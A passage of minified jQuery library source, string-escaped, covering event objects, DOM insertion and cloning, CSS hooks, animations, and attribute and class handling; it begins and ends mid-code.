0===e.defaultPrevented&&!1===e.returnValue?be:xe,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&E.extend(this,t),this.timeStamp=e&&e.timeStamp||E.now(),this[E.expando]=!0},E.Event.prototype={constructor:E.Event,isDefaultPrevented:xe,isPropagationStopped:xe,isImmediatePropagationStopped:xe,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=be,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=be,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=be,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},E.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&ye.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},E.event.addProp),E.each({mouseenter:\\\"mouseover\\\",mouseleave:\\\"mouseout\\\",pointerenter:\\\"pointerover\\\",pointerleave:\\\"pointerout\\\"},function(e,r){E.event.special[e]={delegateType:r,bindType:r,handle:function(e){var t,n=e.relatedTarget,o=e.handleObj;return n&&(n===this||E.contains(this,n))||(e.type=o.origType,t=o.handler.apply(this,arguments),e.type=r),t}}}),E.fn.extend({on:function(e,t,n,o){return Se(this,e,t,n,o)},one:function(e,t,n,o){return Se(this,e,t,n,o,1)},off:function(e,t,n){var o,r;if(e&&e.preventDefault&&e.handleObj)return o=e.handleObj,E(e.delegateTarget).off(o.namespace?o.origType+\\\".\\\"+o.namespace:o.origType,o.selector,o.handler),this;if(\\\"object\\\"==typeof e){for(r in e)this.off(r,t,e[r]);return this}return!1!==t&&\\\"function\\\"!=typeof t||(n=t,t=void 0),!1===n&&(n=xe),this.each(function(){E.event.remove(this,e,n,t)})}});var Ee=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\\\/\\\\0>\\\\x20\\\\t\\\\r\\\\n\\\\f]*)[^>]*)\\\\/>/gi,ke=/<script|<style|<link/i,Te=/checked\\\\s*(?:[^=]|=\\\\s*.checked.)/i,Pe=/^true\\\\/(.*)/,De=/^\\\\s*<!(?:\\\\[CDATA\\\\[|--)|(?:\\\\]\\\\]|--)>\\\\s*$/g;function Ae(e,t){return k(e,\\\"table\\\")&&k(11!==t.nodeType?t:t.firstChild,\\\"tr\\\")&&E(\\\">tbody\\\",e)[0]||e}function Ne(e){return e.type=(null!==e.getAttribute(\\\"type\\\"))+\\\"/\\\"+e.type,e}function $e(e){var t=Pe.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\\\"type\\\"),e}function He(e,t){var n,o,r,i,l,s,a,c;if(1===t.nodeType){if(X.hasData(e)&&(i=X.access(e),l=X.set(t,i),c=i.events))for(r in delete l.handle,l.events={},c)for(n=0,o=c[r].length;n<o;n++)E.event.add(t,r,c[r][n]);U.hasData(e)&&(s=U.access(e),a=E.extend({},s),U.set(t,a))}}function Le(e,t){var n=t.nodeName.toLowerCase();\\\"input\\\"===n&&le.test(e.type)?t.checked=e.checked:\\\"input\\\"!==n&&\\\"textarea\\\"!==n||(t.defaultValue=e.defaultValue)}function Fe(n,o,r,i){o=g.apply([],o);var e,t,l,s,a,c,u=0,d=n.length,p=d-1,f=o[0],h=E.isFunction(f);if(h||1<d&&\\\"string\\\"==typeof f&&!m.checkClone&&Te.test(f))return n.each(function(e){var t=n.eq(e);h&&(o[0]=f.call(this,e,t.html())),Fe(t,o,r,i)});if(d&&(e=me(o,n[0].ownerDocument,!1,n,i),t=e.firstChild,1===e.childNodes.length&&(e=t),t||i)){for(l=E.map(ue(e,\\\"script\\\"),Ne),s=l.length;u<d;u++)a=e,u!==p&&(a=E.clone(a,!0,!0),s&&E.merge(l,ue(a,\\\"script\\\"))),r.call(n[u],a,u);if(s)for(c=l[l.length-1].ownerDocument,E.map(l,$e),u=0;u<s;u++)a=l[u],ae.test(a.type||\\\"\\\")&&!X.access(a,\\\"globalEval\\\")&&E.contains(c,a)&&(a.src?E._evalUrl&&E._evalUrl(a.src):v(a.textContent.replace(De,\\\"\\\"),c))}return n}function _e(e,t,n){for(var o,r=t?E.filter(t,e):e,i=0;null!=(o=r[i]);i++)n||1!==o.nodeType||E.cleanData(ue(o)),o.parentNode&&(n&&E.contains(o.ownerDocument,o)&&de(ue(o,\\\"script\\\")),o.parentNode.removeChild(o));return e}E.extend({htmlPrefilter:function(e){return e.replace(Ee,\\\"<$1></$2>\\\")},clone:function(e,t,n){var o,r,i,l,s=e.cloneNode(!0),a=E.contains(e.ownerDocument,e);if(!(m.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||E.isXMLDoc(e)))for(l=ue(s),i=ue(e),o=0,r=i.length;o<r;o++)Le(i[o],l[o]);if(t)if(n)for(i=i||ue(e),l=l||ue(s),o=0,r=i.length;o<r;o++)He(i[o],l[o]);else He(e,s);return 0<(l=ue(s,\\\"script\\\")).length&&de(l,!a&&ue(e,\\\"script\\\")),s},cleanData:function(e){for(var t,n,o,r=E.event.special,i=0;void 0!==(n=e[i]);i++)if(O(n)){if(t=n[X.expando]){if(t.events)for(o in t.events)r[o]?E.event.remove(n,o):E.removeEvent(n,o,t.handle);n[X.expando]=void 0}n[U.expando]&&(n[U.expando]=void 0)}}}),E.fn.extend({detach:function(e){return _e(this,e,!0)},remove:function(e){return _e(this,e)},text:function(e){return q(this,function(e){return void 0===e?E.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Fe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Ae(this,e);t.appendChild(e)}})},prepend:function(){return Fe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Ae(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Fe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Fe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(E.cleanData(ue(e,!1)),e.textContent=\\\"\\\");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return E.clone(this,e,t)})},html:function(e){return q(this,function(e){var t=this[0]||{},n=0,o=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if(\\\"string\\\"==typeof e&&!ke.test(e)&&!ce[(se.exec(e)||[\\\"\\\",\\\"\\\"])[1].toLowerCase()]){e=E.htmlPrefilter(e);try{for(;n<o;n++)1===(t=this[n]||{}).nodeType&&(E.cleanData(ue(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return Fe(this,arguments,function(e){var t=this.parentNode;E.inArray(this,n)<0&&(E.cleanData(ue(this)),t&&t.replaceChild(e,this))},n)}}),E.each({appendTo:\\\"append\\\",prependTo:\\\"prepend\\\",insertBefore:\\\"before\\\",insertAfter:\\\"after\\\",replaceAll:\\\"replaceWith\\\"},function(e,l){E.fn[e]=function(e){for(var t,n=[],o=E(e),r=o.length-1,i=0;i<=r;i++)t=i===r?this:this.clone(!0),E(o[i])[l](t),a.apply(n,t.get());return this.pushStack(n)}});var Ie=/^margin/,Me=new RegExp(\\\"^(\\\"+Q+\\\")(?!px)[a-z%]+$\\\",\\\"i\\\"),We=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=R),t.getComputedStyle(e)};function je(e,t,n){var o,r,i,l,s=e.style;return(n=n||We(e))&&(\\\"\\\"!==(l=n.getPropertyValue(t)||n[t])||E.contains(e.ownerDocument,e)||(l=E.style(e,t)),!m.pixelMarginRight()&&Me.test(l)&&Ie.test(t)&&(o=s.width,r=s.minWidth,i=s.maxWidth,s.minWidth=s.maxWidth=s.width=l,l=n.width,s.width=o,s.minWidth=r,s.maxWidth=i)),void 0!==l?l+\\\"\\\":l}function Ve(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){l.style.cssText=\\\"box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%\\\",l.innerHTML=\\\"\\\",ve.appendChild(i);var e=R.getComputedStyle(l);t=\\\"1%\\\"!==e.top,r=\\\"2px\\\"===e.marginLeft,n=\\\"4px\\\"===e.width,l.style.marginRight=\\\"50%\\\",o=\\\"4px\\\"===e.marginRight,ve.removeChild(i),l=null}}var t,n,o,r,i=S.createElement(\\\"div\\\"),l=S.createElement(\\\"div\\\");l.style&&(l.style.backgroundClip=\\\"content-box\\\",l.cloneNode(!0).style.backgroundClip=\\\"\\\",m.clearCloneStyle=\\\"content-box\\\"===l.style.backgroundClip,i.style.cssText=\\\"border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute\\\",i.appendChild(l),E.extend(m,{pixelPosition:function(){return e(),t},boxSizingReliable:function(){return e(),n},pixelMarginRight:function(){return e(),o},reliableMarginLeft:function(){return e(),r}}))}();var Be=/^(none|table(?!-c[ea]).+)/,qe=/^--/,Oe={position:\\\"absolute\\\",visibility:\\\"hidden\\\",display:\\\"block\\\"},ze={letterSpacing:\\\"0\\\",fontWeight:\\\"400\\\"},Xe=[\\\"Webkit\\\",\\\"Moz\\\",\\\"ms\\\"],Ue=S.createElement(\\\"div\\\").style;function Ke(e){var t=E.cssProps[e];return t||(t=E.cssProps[e]=function(e){if(e in Ue)return e;var t=e[0].toUpperCase()+e.slice(1),n=Xe.length;for(;n--;)if((e=Xe[n]+t)in Ue)return e}(e)||e),t}function Ge(e,t,n){var o=J.exec(t);return o?Math.max(0,o[2]-(n||0))+(o[3]||\\\"px\\\"):t}function Ye(e,t,n,o,r){var i,l=0;for(i=n===(o?\\\"border\\\":\\\"content\\\")?4:\\\"width\\\"===t?1:0;i<4;i+=2)\\\"margin\\\"===n&&(l+=E.css(e,n+Z[i],!0,r)),o?(\\\"content\\\"===n&&(l-=E.css(e,\\\"padding\\\"+Z[i],!0,r)),\\\"margin\\\"!==n&&(l-=E.css(e,\\\"border\\\"+Z[i]+\\\"Width\\\",!0,r))):(l+=E.css(e,\\\"padding\\\"+Z[i],!0,r),\\\"padding\\\"!==n&&(l+=E.css(e,\\\"border\\\"+Z[i]+\\\"Width\\\",!0,r)));return l}function Qe(e,t,n){var o,r=We(e),i=je(e,t,r),l=\\\"border-box\\\"===E.css(e,\\\"boxSizing\\\",!1,r);return Me.test(i)?i:(o=l&&(m.boxSizingReliable()||i===e.style[t]),\\\"auto\\\"===i&&(i=e[\\\"offset\\\"+t[0].toUpperCase()+t.slice(1)]),(i=parseFloat(i)||0)+Ye(e,t,n||(l?\\\"border\\\":\\\"content\\\"),o,r)+\\\"px\\\")}function Je(e,t,n,o,r){return new Je.prototype.init(e,t,n,o,r)}E.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=je(e,\\\"opacity\\\");return\\\"\\\"===n?\\\"1\\\":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{float:\\\"cssFloat\\\"},style:function(e,t,n,o){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var r,i,l,s=E.camelCase(t),a=qe.test(t),c=e.style;if(a||(t=Ke(s)),l=E.cssHooks[t]||E.cssHooks[s],void 0===n)return l&&\\\"get\\\"in l&&void 0!==(r=l.get(e,!1,o))?r:c[t];\\\"string\\\"===(i=typeof n)&&(r=J.exec(n))&&r[1]&&(n=ne(e,t,r),i=\\\"number\\\"),null!=n&&n==n&&(\\\"number\\\"===i&&(n+=r&&r[3]||(E.cssNumber[s]?\\\"\\\":\\\"px\\\")),m.clearCloneStyle||\\\"\\\"!==n||0!==t.indexOf(\\\"background\\\")||(c[t]=\\\"inherit\\\"),l&&\\\"set\\\"in l&&void 0===(n=l.set(e,n,o))||(a?c.setProperty(t,n):c[t]=n))}},css:function(e,t,n,o){var r,i,l,s=E.camelCase(t),a=qe.test(t);return a||(t=Ke(s)),(l=E.cssHooks[t]||E.cssHooks[s])&&\\\"get\\\"in l&&(r=l.get(e,!0,n)),void 0===r&&(r=je(e,t,o)),\\\"normal\\\"===r&&t in ze&&(r=ze[t]),\\\"\\\"===n||n?(i=parseFloat(r),!0===n||isFinite(i)?i||0:r):r}}),E.each([\\\"height\\\",\\\"width\\\"],function(e,l){E.cssHooks[l]={get:function(e,t,n){if(t)return!Be.test(E.css(e,\\\"display\\\"))||e.getClientRects().length&&e.getBoundingClientRect().width?Qe(e,l,n):te(e,Oe,function(){return Qe(e,l,n)})},set:function(e,t,n){var o,r=n&&We(e),i=n&&Ye(e,l,n,\\\"border-box\\\"===E.css(e,\\\"boxSizing\\\",!1,r),r);return i&&(o=J.exec(t))&&\\\"px\\\"!==(o[3]||\\\"px\\\")&&(e.style[l]=t,t=E.css(e,l)),Ge(e,t,i)}}}),E.cssHooks.marginLeft=Ve(m.reliableMarginLeft,function(e,t){if(t)return(parseFloat(je(e,\\\"marginLeft\\\"))||e.getBoundingClientRect().left-te(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+\\\"px\\\"}),E.each({margin:\\\"\\\",padding:\\\"\\\",border:\\\"Width\\\"},function(r,i){E.cssHooks[r+i]={expand:function(e){for(var t=0,n={},o=\\\"string\\\"==typeof e?e.split(\\\" \\\"):[e];t<4;t++)n[r+Z[t]+i]=o[t]||o[t-2]||o[0];return n}},Ie.test(r)||(E.cssHooks[r+i].set=Ge)}),E.fn.extend({css:function(e,t){return q(this,function(e,t,n){var o,r,i={},l=0;if(Array.isArray(t)){for(o=We(e),r=t.length;l<r;l++)i[t[l]]=E.css(e,t[l],!1,o);return i}return void 0!==n?E.style(e,t,n):E.css(e,t)},e,t,1<arguments.length)}}),((E.Tween=Je).prototype={constructor:Je,init:function(e,t,n,o,r,i){this.elem=e,this.prop=n,this.easing=r||E.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=o,this.unit=i||(E.cssNumber[n]?\\\"\\\":\\\"px\\\")},cur:function(){var e=Je.propHooks[this.prop];return e&&e.get?e.get(this):Je.propHooks._default.get(this)},run:function(e){var t,n=Je.propHooks[this.prop];return this.options.duration?this.pos=t=E.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Je.propHooks._default.set(this),this}}).init.prototype=Je.prototype,(Je.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=E.css(e.elem,e.prop,\\\"\\\"))&&\\\"auto\\\"!==t?t:0},set:function(e){E.fx.step[e.prop]?E.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[E.cssProps[e.prop]]&&!E.cssHooks[e.prop]?e.elem[e.prop]=e.now:E.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=Je.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},E.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:\\\"swing\\\"},E.fx=Je.prototype.init,E.fx.step={};var Ze,et,tt,nt,ot,rt=/^(?:toggle|show|hide)$/,it=/queueHooks$/;function lt(){et&&(!1===S.hidden&&R.requestAnimationFrame?R.requestAnimationFrame(lt):R.setTimeout(lt,E.fx.interval),E.fx.tick())}function st(){return R.setTimeout(function(){Ze=void 0}),Ze=E.now()}function at(e,t){var n,o=0,r={height:e};for(t=t?1:0;o<4;o+=2-t)n=Z[o],r[\\\"margin\\\"+n]=r[\\\"padding\\\"+n]=e;return t&&(r.opacity=r.width=e),r}function ct(e,t,n){for(var o,r=(ut.tweeners[t]||[]).concat(ut.tweeners[\\\"*\\\"]),i=0,l=r.length;i<l;i++)if(o=r[i].call(n,t,e))return o}function ut(l,e,t){var n,s,o=0,r=ut.prefilters.length,a=E.Deferred().always(function(){delete i.elem}),i=function(){if(s)return!1;for(var e=Ze||st(),t=Math.max(0,c.startTime+c.duration-e),n=t/c.duration||0,o=1-n,r=0,i=c.tweens.length;r<i;r++)c.tweens[r].run(o);return a.notifyWith(l,[c,o,t]),o<1&&i?t:(i||a.notifyWith(l,[c,1,0]),a.resolveWith(l,[c]),!1)},c=a.promise({elem:l,props:E.extend({},e),opts:E.extend(!0,{specialEasing:{},easing:E.easing._default},t),originalProperties:e,originalOptions:t,startTime:Ze||st(),duration:t.duration,tweens:[],createTween:function(e,t){var n=E.Tween(l,c.opts,e,t,c.opts.specialEasing[e]||c.opts.easing);return c.tweens.push(n),n},stop:function(e){var t=0,n=e?c.tweens.length:0;if(s)return this;for(s=!0;t<n;t++)c.tweens[t].run(1);return e?(a.notifyWith(l,[c,1,0]),a.resolveWith(l,[c,e])):a.rejectWith(l,[c,e]),this}}),u=c.props;for(!function(e,t){var n,o,r,i,l;for(n in e)if(o=E.camelCase(n),r=t[o],i=e[n],Array.isArray(i)&&(r=i[1],i=e[n]=i[0]),n!==o&&(e[o]=i,delete e[n]),(l=E.cssHooks[o])&&\\\"expand\\\"in l)for(n in i=l.expand(i),delete e[o],i)n in e||(e[n]=i[n],t[n]=r);else t[o]=r}(u,c.opts.specialEasing);o<r;o++)if(n=ut.prefilters[o].call(c,l,u,c.opts))return E.isFunction(n.stop)&&(E._queueHooks(c.elem,c.opts.queue).stop=E.proxy(n.stop,n)),n;return E.map(u,ct,c),E.isFunction(c.opts.start)&&c.opts.start.call(l,c),c.progress(c.opts.progress).done(c.opts.done,c.opts.complete).fail(c.opts.fail).always(c.opts.always),E.fx.timer(E.extend(i,{elem:l,anim:c,queue:c.opts.queue})),c}E.Animation=E.extend(ut,{tweeners:{\\\"*\\\":[function(e,t){var n=this.createTween(e,t);return ne(n.elem,e,J.exec(t),n),n}]},tweener:function(e,t){E.isFunction(e)?(t=e,e=[\\\"*\\\"]):e=e.match(_);for(var n,o=0,r=e.length;o<r;o++)n=e[o],ut.tweeners[n]=ut.tweeners[n]||[],ut.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var o,r,i,l,s,a,c,u,d=\\\"width\\\"in t||\\\"height\\\"in t,p=this,f={},h=e.style,g=e.nodeType&&ee(e),m=X.get(e,\\\"fxshow\\\");n.queue||(null==(l=E._queueHooks(e,\\\"fx\\\")).unqueued&&(l.unqueued=0,s=l.empty.fire,l.empty.fire=function(){l.unqueued||s()}),l.unqueued++,p.always(function(){p.always(function(){l.unqueued--,E.queue(e,\\\"fx\\\").length||l.empty.fire()})}));for(o in t)if(r=t[o],rt.test(r)){if(delete t[o],i=i||\\\"toggle\\\"===r,r===(g?\\\"hide\\\":\\\"show\\\")){if(\\\"show\\\"!==r||!m||void 0===m[o])continue;g=!0}f[o]=m&&m[o]||E.style(e,o)}if(!(a=!E.isEmptyObject(t))&&E.isEmptyObject(f))return;d&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(c=m&&m.display)&&(c=X.get(e,\\\"display\\\")),\\\"none\\\"===(u=E.css(e,\\\"display\\\"))&&(c?u=c:(ie([e],!0),c=e.style.display||c,u=E.css(e,\\\"display\\\"),ie([e]))),(\\\"inline\\\"===u||\\\"inline-block\\\"===u&&null!=c)&&\\\"none\\\"===E.css(e,\\\"float\\\")&&(a||(p.done(function(){h.display=c}),null==c&&(u=h.display,c=\\\"none\\\"===u?\\\"\\\":u)),h.display=\\\"inline-block\\\"));n.overflow&&(h.overflow=\\\"hidden\\\",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]}));for(o in a=!1,f)a||(m?\\\"hidden\\\"in m&&(g=m.hidden):m=X.access(e,\\\"fxshow\\\",{display:c}),i&&(m.hidden=!g),g&&ie([e],!0),p.done(function(){for(o in g||ie([e]),X.remove(e,\\\"fxshow\\\"),f)E.style(e,o,f[o])})),a=ct(g?m[o]:0,o,p),o in m||(m[o]=a.start,g&&(a.end=a.start,a.start=0))}],prefilter:function(e,t){t?ut.prefilters.unshift(e):ut.prefilters.push(e)}}),E.speed=function(e,t,n){var o=e&&\\\"object\\\"==typeof e?E.extend({},e):{complete:n||!n&&t||E.isFunction(e)&&e,duration:e,easing:n&&t||t&&!E.isFunction(t)&&t};return E.fx.off?o.duration=0:\\\"number\\\"!=typeof o.duration&&(o.duration in E.fx.speeds?o.duration=E.fx.speeds[o.duration]:o.duration=E.fx.speeds._default),null!=o.queue&&!0!==o.queue||(o.queue=\\\"fx\\\"),o.old=o.complete,o.complete=function(){E.isFunction(o.old)&&o.old.call(this),o.queue&&E.dequeue(this,o.queue)},o},E.fn.extend({fadeTo:function(e,t,n,o){return this.filter(ee).css(\\\"opacity\\\",0).show().end().animate({opacity:t},e,n,o)},animate:function(t,e,n,o){var r=E.isEmptyObject(t),i=E.speed(e,n,o),l=function(){var e=ut(this,E.extend({},t),i);(r||X.get(this,\\\"finish\\\"))&&e.stop(!0)};return l.finish=l,r||!1===i.queue?this.each(l):this.queue(i.queue,l)},stop:function(r,e,i){var l=function(e){var t=e.stop;delete e.stop,t(i)};return\\\"string\\\"!=typeof r&&(i=e,e=r,r=void 0),e&&!1!==r&&this.queue(r||\\\"fx\\\",[]),this.each(function(){var e=!0,t=null!=r&&r+\\\"queueHooks\\\",n=E.timers,o=X.get(this);if(t)o[t]&&o[t].stop&&l(o[t]);else for(t in o)o[t]&&o[t].stop&&it.test(t)&&l(o[t]);for(t=n.length;t--;)n[t].elem!==this||null!=r&&n[t].queue!==r||(n[t].anim.stop(i),e=!1,n.splice(t,1));!e&&i||E.dequeue(this,r)})},finish:function(l){return!1!==l&&(l=l||\\\"fx\\\"),this.each(function(){var e,t=X.get(this),n=t[l+\\\"queue\\\"],o=t[l+\\\"queueHooks\\\"],r=E.timers,i=n?n.length:0;for(t.finish=!0,E.queue(this,l,[]),o&&o.stop&&o.stop.call(this,!0),e=r.length;e--;)r[e].elem===this&&r[e].queue===l&&(r[e].anim.stop(!0),r.splice(e,1));for(e=0;e<i;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),E.each([\\\"toggle\\\",\\\"show\\\",\\\"hide\\\"],function(e,o){var r=E.fn[o];E.fn[o]=function(e,t,n){return null==e||\\\"boolean\\\"==typeof e?r.apply(this,arguments):this.animate(at(o,!0),e,t,n)}}),E.each({slideDown:at(\\\"show\\\"),slideUp:at(\\\"hide\\\"),slideToggle:at(\\\"toggle\\\"),fadeIn:{opacity:\\\"show\\\"},fadeOut:{opacity:\\\"hide\\\"},fadeToggle:{opacity:\\\"toggle\\\"}},function(e,o){E.fn[e]=function(e,t,n){return this.animate(o,e,t,n)}}),E.timers=[],E.fx.tick=function(){var e,t=0,n=E.timers;for(Ze=E.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||E.fx.stop(),Ze=void 0},E.fx.timer=function(e){E.timers.push(e),E.fx.start()},E.fx.interval=13,E.fx.start=function(){et||(et=!0,lt())},E.fx.stop=function(){et=null},E.fx.speeds={slow:600,fast:200,_default:400},E.fn.delay=function(o,e){return o=E.fx&&E.fx.speeds[o]||o,e=e||\\\"fx\\\",this.queue(e,function(e,t){var n=R.setTimeout(e,o);t.stop=function(){R.clearTimeout(n)}})},tt=S.createElement(\\\"input\\\"),nt=S.createElement(\\\"select\\\"),ot=nt.appendChild(S.createElement(\\\"option\\\")),tt.type=\\\"checkbox\\\",m.checkOn=\\\"\\\"!==tt.value,m.optSelected=ot.selected,(tt=S.createElement(\\\"input\\\")).value=\\\"t\\\",tt.type=\\\"radio\\\",m.radioValue=\\\"t\\\"===tt.value;var dt,pt=E.expr.attrHandle;E.fn.extend({attr:function(e,t){return q(this,E.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){E.removeAttr(this,e)})}}),E.extend({attr:function(e,t,n){var o,r,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return void 0===e.getAttribute?E.prop(e,t,n):(1===i&&E.isXMLDoc(e)||(r=E.attrHooks[t.toLowerCase()]||(E.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void E.removeAttr(e,t):r&&\\\"set\\\"in r&&void 0!==(o=r.set(e,n,t))?o:(e.setAttribute(t,n+\\\"\\\"),n):r&&\\\"get\\\"in r&&null!==(o=r.get(e,t))?o:null==(o=E.find.attr(e,t))?void 0:o)},attrHooks:{type:{set:function(e,t){if(!m.radioValue&&\\\"radio\\\"===t&&k(e,\\\"input\\\")){var n=e.value;return e.setAttribute(\\\"type\\\",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,o=0,r=t&&t.match(_);if(r&&1===e.nodeType)for(;n=r[o++];)e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?E.removeAttr(e,n):e.setAttribute(n,n),n}},E.each(E.expr.match.bool.source.match(/\\\\w+/g),function(e,t){var l=pt[t]||E.find.attr;pt[t]=function(e,t,n){var o,r,i=t.toLowerCase();return n||(r=pt[i],pt[i]=o,o=null!=l(e,t,n)?i:null,pt[i]=r),o}});var ft=/^(?:input|select|textarea|button)$/i,ht=/^(?:a|area)$/i;function gt(e){var t=e.match(_)||[];return t.join(\\\" \\\")}function mt(e){return e.getAttribute&&e.getAttribute(\\\"class\\\")||\\\"\\\"}E.fn.extend({prop:function(e,t){return q(this,E.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[E.propFix[e]||e]})}}),E.extend({prop:function(e,t,n){var o,r,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return 1===i&&E.isXMLDoc(e)||(t=E.propFix[t]||t,r=E.propHooks[t]),void 0!==n?r&&\\\"set\\\"in r&&void 0!==(o=r.set(e,n,t))?o:e[t]=n:r&&\\\"get\\\"in r&&null!==(o=r.get(e,t))?o:e[t]},propHooks:{tabIndex:{get:function(e){var t=E.find.attr(e,\\\"tabindex\\\");return t?parseInt(t,10):ft.test(e.nodeName)||ht.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:\\\"htmlFor\\\",class:\\\"className\\\"}}),m.optSelected||(E.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),E.each([\\\"tabIndex\\\",\\\"readOnly\\\",\\\"maxLength\\\",\\\"cellSpacing\\\",\\\"cellPadding\\\",\\\"rowSpan\\\",\\\"colSpan\\\",\\\"useMap\\\",\\\"frameBorder\\\",\\\"contentEditable\\\"],function(){E.propFix[this.toLowerCase()]=this}),E.fn.extend({addClass:function(t){var e,n,o,r,i,l,s,a=0;if(E.isFunction(t))return this.each(function(e){E(this).addClass(t.call(this,e,mt(this)))});if(\\\"string\\\"==typeof t&&t)for(e=t.match(_)||[];n=this[a++];)if(r=mt(n),o=1===n.nodeType&&\\\" \\\"+gt(r)+\\\" \\\"){for(l=0;i=e[l++];)o.indexOf(\\\" \\\"+i+\\\" \\\")<0&&(o+=i+\\\" \\\");s=gt(o),r!==s&&n.setAttribute(\\\"class\\\",s)}return this},removeClass:function(t){var e,n,o,r,i,l,s,a=0;if(E.isFunction(t))return this.each(function(e){E(this).removeClass(t.call(this,e,mt(this)))});if(!arguments.length)return this.attr(\\\"class\\\",\\\"\\\");if(\\\"string\\\"==typeof t&&t)for(e=t.match(_)||[];n=this[a++];)if(r=mt(n),o=1===n.nodeType&&\\\" \\\"+gt(r)+\\\" \\\"){for(l=0;i=e[l++];)for(;-1<o.indexOf(\\\" \\\"+i+\\\" \\\");)o=o.replace(\\\" \\\"+i+\\\" \\\",\\\" \\\");s=gt(o),r!==s&&n.setAttribute(\\\"class\\\",s)}return this},toggleClass:function(r,t){var i=typeof r;return\\\"boolean\\\"==typeof t&&\\\"string\\\"===i?t?this.addClass(r):this.removeClass(r):E.isFunction(r)?this.each(function(e){E(this).toggleClass(r.call(this,e,mt(this),t),t)}):this.each(function(){var e,t,n,o;if(\\\"string\\\"===i)for(t=0,n=E(this),o=r.match(_)||[];e=o[t++];)n.hasClass(e)?n.removeClass(e):n.addClass(e);else void 0!==r&&\\\"boolean\\\"!==i||((e=mt(this))&&X.set(this,\\\"__className__\\\",e),this.setAttribute&&this.setAttribute(\\\"class\\\",e||!1===r?\\\"\\\":X.get(this,\\\"__className__\\\")||\\\"\\\"))})},hasClass:function(e){var t,n,o=0;for(t=\\\" \\\"+e+\\\" \\\";n=this[o++];)if(1===n.nodeType&&-1<(\\\" \\\"+gt(mt(n))+\\\" \\\").indexOf(t))return!0;return!1}});var vt=/\\\\r/g;E.fn.extend({val:function(n){var o,e,r,t=this[0];return arguments.length?(r=E.isFunction(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=r?n.call(this,e,E(this).val()):n)?t=\\\"\\\":\\\"number\\\"==typeof 